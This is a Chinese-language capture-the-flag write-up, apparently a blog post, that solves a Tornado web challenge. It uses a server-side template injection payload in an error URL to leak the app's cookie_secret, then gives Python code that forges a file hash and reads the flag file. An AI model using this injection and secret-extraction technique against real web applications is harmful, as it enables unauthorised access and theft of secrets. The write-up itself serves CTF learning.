1. 整体流程

  1. 功能测试
  2. SSTI拿到cookie_secret
  3. 根据算法生成filehash,拿到flag

2. 题目分析

  1. 题目一共三个功能

    1. /flag.txt: flag路径在/fllllllllllllag下
    2. /welcome.txt: 提示题目跟render有关,即跟服务器端渲染有关,即可能产生模板注入
    3. /hints.txt: 提示了filehash的生成规则
  2. 测试URL发现,非法输入会跳转到错误页面。根据render的提示,在这里找到了模板注入的利用点。
    Alt text

Alt text
去搜索了tornoada的配置文件,发现settings包含了很多设置文件,这时进行模板注入:
http://xxx.xxx.xx.xxx/error?msg={{ handler.settings }}
拿到cookie_secret:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'fbb58d0c-4ff5-4ef5-9799-66a1c323e113'}
Alt text

  1. 根据filehash的算法生成flag文件的hash值,然后去读flag文件
import hashlib
flag_path = "/fllllllllllllag"
a = hashlib.md5(flag_path.encode("UTF-8")).hexdigest()
filehash = "fbb58d0c-4ff5-4ef5-9799-66a1c323e113" + a
b = hashlib.md5(filehash.encode("UTF-8")).hexdigest()
print(b) # 生成的flag的filehash

# 然后访问
# http://xxx.xxx.xx.xxx/file?filename=/fllllllllllllag&filehash=45c74aa0c88cd82dd0f430a954f62b09
# 就能拿到flag了
Last modification:December 25th, 2019 at 03:19 pm
给肥宅一点零花钱买可乐叭 (゜-゜)つロ